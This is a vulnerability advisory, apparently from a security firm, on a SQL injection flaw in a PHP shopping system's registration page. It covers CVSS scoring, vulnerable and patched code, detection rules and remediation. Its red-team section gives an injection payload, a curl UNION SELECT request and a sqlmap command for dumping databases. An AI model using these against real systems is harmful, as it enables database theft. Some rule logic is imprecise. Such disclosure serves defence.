CVE-2024-40498

Executive Summary

CVE-2024-40498 is a critical SQL Injection vulnerability discovered in the PuneethReddyHC Online Shopping System Advanced v1.0. The flaw resides in the register.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation can lead to full database compromise, including extraction of user credentials, personal data, and administrative access. The vendor has not released a patch, and no official advisory exists. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time, but the vulnerability is trivial to exploit and poses a significant risk to any deployment.

Note: This is a custom PHP application, not a WordPress plugin. The vulnerability is in the application's own code, not in any underlying web server.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via destructive queries.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required. The vulnerability is trivial to exploit and provides full database access.

Deep Dive & Mechanics

The vulnerability exists in the register.php script, which handles new user registration. The application fails to sanitize or parameterize user-supplied input before constructing SQL queries. Specifically, the username, email, password, and contact fields are directly concatenated into an INSERT or SELECT statement.

Vulnerable Code Snippet (Conceptual):

$username = $_POST['username'];
$sql = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
mysqli_query($conn, $sql);

An attacker can inject SQL by providing a malicious value such as:

' OR '1'='1' -- -

This would result in the query:

INSERT INTO users (username, password) VALUES ('' OR '1'='1' -- -', 'password');

The -- - comments out the rest of the query, and the OR '1'='1' condition always evaluates to true, potentially bypassing authentication or allowing data exfiltration via error-based or UNION-based injection.

Attack Vector:

1. Attacker sends a POST request to /register.php with crafted parameters.
2. The injected SQL is executed against the backend MySQL/MariaDB database.
3. The attacker can extract data using UNION SELECT statements, read arbitrary tables, or even write files if database permissions allow.

Vulnerable vs. Patched Code

Vulnerable Code (register.php):

<?php
$conn = mysqli_connect("localhost", "root", "", "shop");
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
mysqli_query($conn, $sql);
?>

Patched Code (Using Prepared Statements):

<?php
$conn = mysqli_connect("localhost", "root", "", "shop");
$stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$stmt->bind_param("ss", $username, $password);
$username = $_POST['username'];
$password = $_POST['password'];
$stmt->execute();
$stmt->close();
?>

The patched version uses parameterized queries, which separate SQL logic from data, rendering injection impossible.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running PuneethReddyHC Online Shopping System v1.0.
• Network access to the web server.

Exploit Steps:

1. Identify the registration endpoint: http://target/register.php.
2. Use sqlmap or manual injection to extract data.

Manual Injection Example:

curl -X POST http://target/register.php \
  -d "username=admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -&password=test&email=test@test.com&contact=1234567890"

Automated Exploit with sqlmap:

sqlmap -u "http://target/register.php" --data="username=test&password=test&email=test@test.com&contact=1234567890" --batch --dbs

Expected Output:

• Database names, tables, and user credentials (hashed or plaintext).

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for abnormal SQL keywords in POST parameters (e.g., UNION, SELECT, OR 1=1).
• Deploy a Web Application Firewall (WAF) with SQL injection signatures.

Hardening:

• Immediately replace all dynamic SQL queries with prepared statements or stored procedures.
• Apply input validation and output encoding.
• Restrict database user privileges (e.g., no FILE or SELECT ... INTO OUTFILE).
• Disable error reporting in production to prevent information leakage.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /register.php containing SQL keywords (UNION, SELECT, OR, --, #).
• Unusual response sizes or database error messages in HTTP responses.

File IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified register.php or other PHP files.

Log IOCs:

• Web server logs showing repeated failed registration attempts with special characters.
• Database logs showing anomalous queries (if enabled).

Detection Engineering

YARA Rule

rule CVE_2024_40498_SQLi_Register {
    meta:
        description = "Detects SQL injection attempts targeting register.php in PuneethReddyHC Online Shopping System"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-40498"
    strings:
        $s1 = "register.php" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "--" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5))
}

Sigma Rule

title: SQL Injection Attempt on register.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection patterns in POST requests to register.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/register.php'
        cs-uri-query|contains: 
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in usernames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40498 SQL Injection Attempt on register.php"; flow:to_server,established; content:"POST"; http_method; content:"/register.php"; http_uri; content:"UNION"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply virtual patching via WAF rules blocking SQL injection patterns.
3. Audit all database queries in the application and rewrite using prepared statements.

Long-Term Fix:

• Replace all instances of dynamic SQL with parameterized queries (PDO or MySQLi prepared statements).
• Implement strict input validation (whitelist allowed characters).
• Conduct a full security code review.

Workaround:

• If source code modification is not possible, disable the registration functionality temporarily by removing or renaming register.php.

Monitoring:

• Enable detailed logging for all database queries.
• Set up alerts for any SQL error messages in web server logs.

Valters IT – DevSecOps & Cyber Threat Intelligence